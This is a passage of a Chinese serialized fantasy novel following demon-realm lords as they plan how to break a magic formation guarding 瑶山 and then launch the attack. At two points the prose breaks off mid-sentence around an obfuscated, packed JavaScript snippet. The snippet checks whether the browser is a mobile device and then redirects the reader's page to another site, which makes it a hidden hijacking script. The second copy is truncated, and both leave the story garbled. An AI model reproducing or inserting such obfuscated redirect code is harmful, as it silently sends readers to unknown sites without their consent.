文鳐闻言,连忙应声,匆忙走到书桌前,铺开空白的卷轴,拿起了毛笔。 书桌前,凤璇音仔细端详着戮世摩罗送来的卷轴,眉头微皱,全神贯注。 过了许久,她缓缓开口: “阵心位于阵法中心,是整个阵法的动力源泉。直接攻击阵心会引发强烈的反震,所以必须要先破坏六个阵卫。” 文鳐听到了凤璇音的话,急忙抬笔,在卷轴上快速地记录。 “六个阵卫分别对应震卦的六爻。第一个是初九阵卫,也是雷动之卫,以雷属性攻击为主,震卦初九有预见性,所以要用土属性法术,中和雷电。” 文鳐一边听着,一边在卷轴上画了一个土属性的符号。 凤璇音继续道:“六二阵卫是冰封之卫,以冰属性攻击为主,能将接近者冰封。依据震卦六二的退避原则,需要使用火属性法术破冰。” 文鳐点了点头,又画了一个火属性的符号在六二阵卫的位置。 “六三阵卫是风行之卫,以风属性攻击为主,阵卫能引发强烈风暴。”凤璇音走到书桌前,伸出手指点了点文鳐的卷轴,“依据震卦六三的稳健特性,需使用风属性法术与之抗衡。” “九四阵卫是岩崩之卫,以土属性攻击为主,阵卫能引发山崩地裂。所以要使用木属性法术稳固土石。” 她一边说着,一边背着手,从书桌的左边走到了右边: “六五阵卫是幻影之卫,以幻术为主,阵卫能制造幻象迷惑入侵者,需使用水属性法术净化幻象。” “上六阵卫是震波之卫,以震波攻击为主,阵卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240000|144353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能发出强烈震波,破坏内息。所以需使用金属性法术护体,抵御震波。” “最后,”凤璇音一边说着,一边把卷轴合上了,“阵元隐藏在阵法最深处,只有当六个阵卫全部被破坏后,才会显现。需要同时对阵心和阵元发动攻击,破坏两者的联系,才能使阵法失效。” 文鳐写完最后一个字,把笔放下,将卷轴递给了凤璇音,“郡主,写好了。” 凤璇音把手里的卷轴放下,接过文鳐递给她的卷轴,拿过来看了看,又拿起笔做了几个标注,而后将卷轴递回给文鳐,“给帝尊送去吧。” “是。”文鳐接过卷轴,起身走向门口。刚准备踏出屋子,凤璇音忽然叫住她,“等一下。” 文鳐回头,“怎么了郡主?” 凤璇音想了想,道,“你和帝尊说,破坏掉震天伏夏阵之后,劳烦他遣魔兵来告知我一声。我也要去瑶山。” 文鳐闻言,有些讶异地“啊?”了一声,犹犹豫豫地道,“可是郡主,苏大夫说你的身体……” “省掉多余的关心。”凤璇音听不出语气地说道,“务必把我的话转达给帝尊。” 文鳐有些担忧地看了一眼凤璇音,但见她神色冷漠,便只好点了点头,说了句“好吧。”转身离开了。 —— ?? “所以说,破掉阵之后,凤璇音要跟着我们一起上山?”戮世摩罗眉峰微皱,向文鳐确认。 “嗯。”文鳐点点头,“我提醒过郡主,她身体不好,不方便行军,但她似乎不是很在意……” 一旁的苏容焉抢着开口,“不行,那可是行军打仗,不是闹着玩的……” 但话还没说完,戮世摩罗就朝他摆了摆手,“算了,随她去吧。”随后,他目光一转,对文鳐道,“你也回去吧。” “嗯。”文鳐点点头,转身离开了。 戮世摩罗将眼神收回,打开手中的卷轴,低头看了起来。议事厅中的烛火摇曳,映照在众位魔将的面庞之上,寂静得只能听见海风的声音。 戮世摩罗盯着卷轴看了一会儿,将卷轴摊开在桌子上,“你们过来。” 魔将们闻声而动,迅速围聚在了桌子周围。 卷轴上,震天伏夏阵的六个阵卫和阵心位置清晰可见,旁边还标注了一些符号,看起来十分的井井有条。 ??曼邪音只看了一眼,便脱口而出,“这张图画的,可比策君画的好理解多了。” 玉面文朗闻言笑了一声,“策君画的那能叫图吗,那简直就是符。” “不管是图还是符,有用就行。”戮世摩罗的手放在卷轴上,低着头沉思片刻,抬头看向玉面文朗,“夜国公能看懂吗?” 玉面文朗点点头,“能。” “有没有什么方法?”戮世摩罗追问,“这一圈魔将里,只有你会术法,但我也不能把你劈成六个放在六个阵卫那里。” 玉面文朗盯着卷轴,一番深思熟虑后,缓缓开口,“诸位魔将不谙术法,但论及武艺,皆是出类拔萃的高手。若我能迅速铸造出六件属性各异的简易法器,或许能助他们一臂之力。” “法器?”戮世摩罗有些疑惑地重复。 见戮世摩罗有些疑虑,苏容焉忙开口解释,“帝尊,夜国公最擅长的就是铸造法器,而且他铸造法器很快的,像这种只用一次的法器,基本上一天就能造出六个来。” “只怕铸造法器会过度损耗你的功力。”戮世摩罗看向玉面文朗,“这样以来,破坏阵元和阵心的任务便不能交给你了。” “的确。”玉面文朗回道,“但我同样也可以造出法器,助诸位魔将破坏阵元和阵心。” 戮世摩罗低着头斟酌了片刻,最后点了点头,“行,就这么办吧。夜国公若是不便,之后也无需和我们一同上山,留在岐山关驻守后方即可。” “是。”玉面文朗应道,“我即刻去准备铸造法器,务必明日完工。” “嗯。”戮世摩罗点头,随即对众魔将下令,“大家都回去整顿兵马,待法器完工,我们即刻出发。” “是。”众魔将齐声应诺,纷纷离去了。 众魔皆离开,唯有苏容焉,半天也没迈出去一步,目光在戮世摩罗和网中人间游移,最后,他带着一丝犹豫,开口问道,“帝尊,我也和你们一起去震天伏夏阵吧?” “你去干什么?”戮世摩罗看他一眼,“送死?” 苏容焉面露苦色,“就算我真的像你们说的一打就死,我也可以帮忙医治一下受伤的魔将啊。” “注意你的措辞苏大夫。”戮世摩罗半开玩笑地纠正他,“不是‘我们说你一打就死’,而是你的确一打就死。” 苏容焉仍旧不放弃,“末医还有两条命呢,没关系。” “你就这么想死?”网中人的声音突然响起,如同冰冷的利刃,把苏容焉吓了一跳。 “啊算了算了,”戮世摩罗挥了挥手,语气中透露出几分无可奈何,“既然苏大夫那么想跟着我们,那就跟着我们去瑶山吧。但震天伏夏阵你不能进,你留在岐山关照顾凤璇音。我们破阵之后,会让祸雕或者蜂罚钦原来接你们。” 苏容焉一听这话,刚刚黯淡下的眼神瞬间亮起来了,“啊,这样好这样好,你们破坏震天伏夏阵之后,估计也会受点小伤,我正好过去帮你们处理一下。” ??他一边说着一边就往门口挪去,“那我也去准备一下医药箱。”说完,转身就风风火火地跑出去了。 戮世摩罗看着苏容焉逐渐跑远的身影,似笑非笑地道,“只有九条命就这么猖狂,我有点理解妖神将你为什么这么无法无天了。” 网中人没有回应,但戮世摩罗猜他应该是翻了个白眼。 片刻的沉默后,戮世摩罗再次开口,“我需要你去破坏阵心。” 这个决定似乎在网中人意料之内,他很平静地“嗯”了一声,而后问,“那阵元呢?” 戮世摩罗回答,“本帝尊亲自来。” 网中人提醒他道,“阵心和阵元需要同时被破坏。” 戮世摩罗笑着反问,“怎么,怕我拖你后腿?” 网中人没说话,戮世摩罗见他沉默,便又轻笑道,“妖神将啊,咱俩的默契你还信不过吗。” 网中人依旧没说话。 戮世摩罗又道,“总比策君和你的默契要好些吧。” 网中人懒得再和他多嘴多舌,“你自己有数就好。” “那是自然,不然我哪能当帝尊。”戮世摩罗笑了一声,一边说着,一边站起身,从案后绕到案前,抬头去看门外冷冷的蓝月,“想来策君和闇盟应该也联络好了,现在只等明日夜国公的法器铸造出来,我们就长驱直入,直取瑶山。” —未完待续— 31.瑶山(1) 【31】 公子开明小心翼翼地把那本古旧的书递给长琴无焰,“胜弦主,你看。” 长琴无焰接过书卷,目光低垂,一句“西王母族,护佑魔世;冰夷祭女,灵祭五生。”映入眼帘。 长琴无焰静默无言,良久,她缓缓抬起头来,目光落在公子开明身上,“策君方才说,是藏书阁里那位书官,将这本书递给策君看的吗?” “嗯。”公子开明点点头,“那个书官给我看完这本书后,就把书递给了我,然后去整理其他的书籍了。本策君问他什么他也不回答。” “因为他是个哑巴,小明。”一旁的鬼飘伶提醒他。 “他是哑巴!不是瞎了!”公子开明拿手掌在自己的两只眼睛前面挥了挥,“也不至于本策君都跳到他面前了他还无视我吧!” “或许他是被小明吓到了。”鬼飘伶毫不留情地指出。 “哪有哪有,本策君明明特别友好非常友好十分友好!”公子开明不满地跳到鬼飘伶面前,挥舞着手臂,把鬼飘伶逼得后退了好几步。 两人吵吵闹闹之时,后面的长琴无焰开口了,“魔世之中,比较古老的魔族经过不断的繁衍,大都发展成了一支种族,比如龙族,玄族,刑天族,冰夷族,以及西王母族。” 长琴无焰一边说着,一边将书放到了桌子上:“‘西王母族,护佑魔世’这句话,大概指的是,西王母一族的预言能力吧。” “嗯对没错本策君也是这么想的~”听见胜弦主的声音,公子开明转过身,声音一秒恢复了正经,“而且西王母一族的预言能力特殊,‘只见祸,不见福’。这让他们有着可以护佑魔世的能力,但也有可能借此能力危害魔世。” 长琴无焰的目光再次落在书卷上,继续说道:“至于冰夷族,那是上古玄族的一支旁系,世代守在冰夷之渊附近。”她顿了顿,眼神中闪过一丝猜测,“书中说,‘冰夷祭女,灵祭五生’,难道是指……五生石?” “胜弦主说的是当年玄女用来修补裂缝的五生石吗?”公子开明询问。 “字面意思的话,确实是。只是不知,是否有另外一层深意。”胜弦主将书合上,露出封面上《玄族古记》四个字。 “我——听说,很多年前应龙师曾前往冰夷之渊,杀害半数冰夷族魔,”公子开明摇头晃脑地道,“不知道是不是也和这个五生石有关系?” “五生石的特性是治愈和修复,这样一想,倒也确实有可能。”胜弦主回道,稍顿片刻,忽然似是想到了什么一般,再次开口道,“五生石的炼制方法早已失传,莫非,应龙师寻到了此法?” 公子开明先是一怔,接着回道,“这是个最坏的猜测,不过目前看来,就算应龙师找到了炼制五生石的方法,大概率也没有成功。且如今他也已经不在魔世了,无论生死,倒是可以让我们暂时松一口气。” 胜弦主将书放下,缓着声音道,“先前策君说应龙师只是进入了云外镜,并没有亲眼看他死亡。只要没有亲眼所见,就不可掉以轻心。” “嗯。”公子开明点点头,“多谢胜弦主提醒。” 胜弦主说着,将那本《玄族古记》递给了公子开明,“这本书上还记载了一些关于玄族的事迹,策君可以选择合适的时间给帝尊看一看,帝尊年少聪慧,这本书或许能帮得上忙。” “嗯。”公子开明一边接过书一边应道,“毕竟有时候那小孩想要做什么,本策君都得靠猜~” 胜弦主再次将手指抚于琴上,继续道,“我给策君五百魔兵守在沉沦海处,鬼槐英招带军。鬼飘伶,劳你也与策君同去,若瑶山发生变动,你随机应变,协助策君。” 鬼飘伶将鸟儿放到肩膀上,轻快着声音应道,“(收到)。” 离开了胜弦主的居所,公子开明手里紧握着那本《玄族古记》,一路上都保持着异样的沉默。鬼飘伶见他如此长时间不吭声,颇感不习惯,便打破了沉默,“小明,你怎么突然这么(安静)。” “我本来话也没有很多。”公子开明狡辩道,手中的书页随风轻轻翻动。 “话不多,废话倒是不少。”鬼飘伶轻捋着自己闪耀的金发,“之所以要向胜弦主借兵稳住瑶山附近的沉沦海,是因为修罗帝国的重兵都在往浮玉关调遣吧?” “哎哟,怎么被你看穿了。”公子开明故作惊讶地抖了抖身子,仿佛真的被吓了一跳。 “小明来之前,胜弦主就已经猜到你的来意了。”鬼飘伶回答道,“只是,麒染会不会也察觉到小明的意图?” “先不说麒染有没有那个脑子,就算他想到了,这也是个无解之局。他必须分兵守住瑶山,因为瑶山一旦陷落,对正在改朝换代的凶岳疆朝民心将是一个沉重的打击。”公子开明背着手分析道,“无论如何,他的军队都必须一分为二,既要守浮玉关,也要守瑶山。” “所以,攻打瑶山的本该是幽闇联盟。”鬼飘伶指出。 “嗯。”公子开明点了点头,稍作停顿,又道,“但那死小孩帝尊想做什么,本策君也拦不住,随他去吧。” “有小明给他兜底,他岂不是更加肆无法无天。”鬼飘伶玩笑道。 “当你是在夸我咯。”公子开明轻盈地蹦跳着向前走了几步,忽然像是想起了什么,脚步猛地一顿,然后转身,看向身后的鬼飘伶。 鬼飘伶见他突然停下,有些奇怪地眨了一下眼睛,“怎么了?” 公子开明盯着他的眼睛,一副欲言又止的样子,犹豫了片刻,才缓缓开口道: “阿飘,问你一个问题。” 公子开明的语气难得正经,让鬼飘伶微微一愣,随后询问,“什么问题?” 公子开明似是斟酌了一下,而后问了一个让鬼飘伶怀疑自己听错了的问题: “如果有一天我和阿飘变成敌人了,阿飘会怎么办?” 鬼飘伶像是被这个问题刺了一下,神色僵了一下,但很快反应过来,迅速回答,“难道我们现在不是吗?”说着,他的手自然而然地放到了腰间的剑柄上,动作流畅而熟练。 “我——是认真问的啦!”公子开明跳了起来,像是被弹簧弹起一般。 “我也是认真回答啊。”鬼飘伶手握剑柄,似乎随时准备拔剑。 公子开明“唉”了一声,摇了摇头,似乎是被什么烦心事困住了。鬼飘伶见他如此,便道,“这个问题真不像是小明你会问出来的问题。” “为什么?”公子开明抬起头来看他。 “因为如果是小明的话,根本不会问,直接抽出棍子就往我头上打过来了吧。”鬼飘伶一边说着,一边指了指自己的额头,仿佛真的被公子开明敲了一记。 “胡说胡说胡说,”公子开明挥着拳头抗议,“本策君是靠头脑行走江湖,哪有那么暴力。” 鬼飘伶“嗯”了一声,接着道,“如果小明一定要一个答案的话,我会说,我一定会豁出性命,拼尽全力,因为,”他的手依然紧握剑柄,剑鞘上的蓝宝石在夜色中闪烁着幽暗的光芒, “我是剑客。” “……” 四目相对片刻后,公子开明抓了抓头发,“嗯嗯嗯”了几声,心不在焉地道了句,“我——明白了。”说罢,他缓缓转身,继续向前走去了。 他步子很慢,好似在等谁一般。而鬼飘伶则是静静地站在胜弦主的门外,最后也没有跟上去。 —— 祸雕回到幻海阁时,看到夜国公正端坐在一个六边形的巨大法阵中央,法阵周围血气蒸腾,整个房间仿佛被一股无形的力量压迫得沉闷无比。法阵中前摆放着一把圆月弯刀,刀身贴着六张染血的符咒,整个空间血雾缭绕,腥风扑鼻,让人不寒而栗。 祸雕见此情景,知晓夜国公正在以血阵炼制法器,便无声地走到阵前,默默地守护着法阵,不发一语。 时间在血雾中缓缓流逝,不知过了多久,法阵的波动逐渐减弱,刺眼的红色光芒也黯淡了下去。玉面文朗紧闭的双眼终于睁开,自血雾之中露出了有些空洞的目光。 他开口的第一句话,语气平静如幽潭,“祸雕?什么时候来的?” 祸雕回答,“刚刚。” 玉面文朗微微侧头,询问,“找我有事?” “并无要事。”祸雕回答,目光扫过那把圆月弯刀,“国公又在以血祭器,此次炼制如此多的法器,对国公的身体损耗必定巨大。” “所以我恐怕无法随你们一同去破阵了。”玉面文朗一边说着,一边缓缓起身。祸雕见状,迅速上前将他扶起,“祸雕,你随他们去吧,这圆月弯刀交给你。”说着,他将那把弯刀递给了祸雕。 祸雕接过弯刀,喃喃道,“国公还记得我是用刀的。” “你为了隐藏身份,在凶岳疆朝一直使用双斧,这刀可别让你觉得手生。”玉面文朗说着,脚步略显沉重地走到窗下的木案旁,案上已经整齐地摆放了四个法器,在昏暗的灯光下闪烁着幽光。 “我略数了一下破阵之人,帝尊负责阵心,妖神将负责阵元。闼婆尊,赤甯朱厌、蜂罚钦原,还有你,负责阵卫。” “还有两个阵卫没有人负责。”祸雕指出。 “帝尊已书信至招摇关,今日应有名为木魅的妖族前来相助。至于另一个阵卫,”玉面文朗思索片刻,询问,“帝尊提到过的那位火凤郡主可以破阵卫吗?” 祸雕怔了一下,随即摇了摇头,“她功体尽毁,魔力全失,恐怕不太行。” 玉面文朗闻言,有些疑惑地皱了皱眉,“怎么会功体尽毁?” “嗯。”祸雕点点头,“听帝尊说,她是被瑶后害得如此境地。此次帝尊攻打瑶山,也是帝尊在诛杀麒岁一局中换得火凤郡主相助的条件。” 玉面文朗语气冷冷地道,“应龙师和瑶后害了那么多人,如今被反噬,倒也是咎由自取。”说罢,他抬头看向祸雕,“其他魔将各有守关之责,无法抽身,若无人可担任第八位魔将,我还是亲自前往吧。” 祸雕脸上闪过一丝担忧,“国公,你的身体……” “破阵要紧,大不了,就不跟随帝尊攻打瑶山了。”玉面文朗摆了摆手。 祸雕闻言,颇感意外,“祸雕还以为,国公想要养精蓄锐,亲手杀死瑶后……” “为什么?”玉面文朗抬头看他,“因为她和应龙师共谋杀我父母?” 祸雕低头道,“我是这么以为的。” “谁杀都是死,她死了也换不回我父母的性命。倒是瑶山若能打下,对凶岳疆朝确是一记重创。”玉面文朗一边说着,一边起身走到窗边,“破阵之后,瑶山就不难攻了。届时你随我前往浮玉关,想必瑶山一破,浮玉关就会立刻出兵。” “……是。”祸雕低头应道。 玉面文朗的目光出神般地落在祸雕的身上,片刻之后,忽然轻轻地叹了口气,声音在安静的房间里显得格外沉重。 祸雕听到这突如其来的叹息,不禁有些困惑地抬起头,眼神中带着询问,“国公何故忽然叹气?” 玉面文朗摇了摇头,“无事,只是忽然想起,似乎也快到每五十年一次的冰夷祭典了。” 祸雕沉思了片刻,谨慎地询问,“国公想要去冰夷之渊参加冰夷祭典吗?” 玉面文朗摇头,目光转向窗外,落在洒满月光的庭院中,“故人皆不在,去了也没什么意义。” 祸雕思量着如何回应,小心翼翼地回答,“自两百多年前夜国公离开冰夷之渊后,就再也没有回去过。后来我听说应龙师和瑶后一起前往冰夷之渊……” 说到这里,他注意到玉面文朗的眉头似乎微皱了一下,便立刻转变了话题,“不去也罢,大战在即,去了恐怕会影响国公心情。” “好了,我还要继续炼制余下的法器,你先退下吧。”玉面文朗的声音依旧平淡得没有一丝波澜。 他转身回到刚才的位置,从宽大的袖口中取出一张泛黄的符纸,左手轻轻一点,一道鲜艳的血符便出现在了纸张之上。 祸雕担忧地看了眼玉面文朗略显苍白的脸色,应了一声“是”,便默默地走出了房间,退下了。 —— 沉沦海边,狂风呼啸,卷起的海浪如血般殷红。壮大的魔兵队伍整齐地排列在岸边。战舰帆樯林立,旗帜在风中猎猎作响,战船上的铁甲在月光下反射着冰冷的光芒,如同冷冽的冰川。 玉面文朗将七个法器摆在岐山关外的案台上,众魔将和魑鬼大军都已整顿完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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战船逐渐靠近震天伏夏阵的入口,影魔越来越多,如同一群饥饿的飞虫一般飞舞在战船的周围,发出“嘶啦嘶啦”的声响。魑鬼自战船上飞出,与影魔战成一片,一时间沉沦海上血雨腥风,尸横遍野,到处都是魑鬼和影魔的惨叫声。 “天啊,”戮世摩罗假惺惺地捂了捂眼睛,语气夸张地道,“真是不忍细看。” 影魔越来越多,犹如蝗虫一般,另有一支影魔队伍,哗啦啦地飞到了震天伏夏阵的入口,将入口死死挡住。天上开始降下雷电,一道白色的闪电劈开夜空,犹如魔神一斧,直接从天上劈至海面,发出震耳欲聋的轰鸣。 “战船还能向前驶吗?”戮世摩罗询问。 “勉强吧。”曼邪音一边击退影魔一边说道。 “这天杀的怪物怎么越杀越多?”赤甯朱厌忍不住骂了起来,“难道因为是凶岳疆朝的魔,所以也随了应龙师那个老不死的?” 战船在血海中摇摆不定,仿佛随时都会被海浪吞噬。血雾中,影魔和魑鬼厮杀的声音交织在一起,如同一片血色的炼狱。 “照此情景,纵使我们进入震天伏夏阵,若外面没有守将,情势也会不利。”曼邪音用魔音震退影魔,略显焦躁地道,“这些影魔不难击退,奈何数量众多,又不知疲倦地冲锋,实在是恼人。” “我们几个都要破阵,外面能留谁?”赤甯朱厌插话,“难不成把苏大夫喊来?” 几人正商量着对策,忽然见空中闪过一道璀璨夺目的蓝光,其速度之快,犹如流星划破夜空,未待众魔细细辨认,一抹血色的剑光刹那间便已湮灭了数只袭来的影魔。 紧接着,又是一道血光弧影,剑气如虹,将蜂拥而至的影魔悉数击退。 影魔退去,那突然出现的剑客立在了桅杆上,血色剑芒在月色下熠熠生辉,镶嵌于剑柄的蓝色宝石波光粼粼,犹如星辰闪烁。 曼邪音第一个反应过来,“鬼飘伶?” “嗨闼婆尊,好久不见。”桅杆上的鬼飘伶扶了扶帽子,似乎正欲摆出一个潇洒至极的姿势,却不料一只影魔趁机偷袭,他反应迅速,一剑挥出,精准地将那影魔穿心而过。 “是策君要你来的?”曼邪音站在桅杆下问道。 “是胜弦主。”鬼飘伶缓缓收剑,一只羽毛亮丽的蓝色小鸟出现在了他的掌心。 “就你一个?”戮世摩罗问道,“外面的影魔这么多,你能守得过来吗?” “守不过来就回去睡觉。”鬼飘伶将鸟儿放到自己的肩膀上,金色的发丝在沉沦海上呼啸的风中飘扬,“胜弦主只说让我来帮你们,没说我必须完成任务。” “啊,闇盟的人也太靠谱了。”戮世摩罗感叹道,“鬼飘伶先生,看在策君的面子上,就替本帝尊多守一会儿吧。” “嗯,你比小明有礼貌,我可以多守一阵。”鬼飘伶点了点头,“我替你们打开阵口的影魔,你们趁机进入,我会保证在此期间没有影魔进入法阵。” 戮世摩罗回道,“有劳了。” 话音甫毕,海面蓦地沸腾起来,一股前所未有的滔天巨浪腾空而起,宛如一头觉醒的血色巨兽,带着毁天灭地之势,遮天蔽日地朝阵口的影魔群猛扑而去! “嘶啦——嘶啦——” 伴随着刺耳的撕裂声,海浪的暴力冲击之下,阵口的影魔或被碾压成齑粉,或四散奔逃,场面混乱不堪。 戮世摩罗见状,立刻喊道,“众将入阵!” 众魔将们闻声而动,纷纷拿出各自的法器,化作数道流光,犹如夜空中划过的彗星,转瞬之间便穿透了法阵的入口,消失在了阵法之中。 鬼飘伶见众魔都已进入法阵,便从桅杆上跳下来,从怀中拿出袈裟和宝杖,念动公子开明教给他的咒语。咒语出口,阵口忽然闪动金色的光芒,一道满是佛文的金色屏障将阵口严严实实地笼罩了起来。 鬼飘伶抬头,见那些影魔想要冲上来,但刚一接触那金色的屏障,就犹如扑入火中的飞蛾一般,瞬间化为了红色的灰烬。 不仅如此,有些魑鬼不小心碰到了屏障,也和影魔一样灰飞烟灭了。 鬼飘伶看着那些化成灰烬的低等魔,将剑收起,低声喃喃,“这气息真是令人难受,小明啊小明,下次说什么也不拿你的袈裟了。” —未完待续—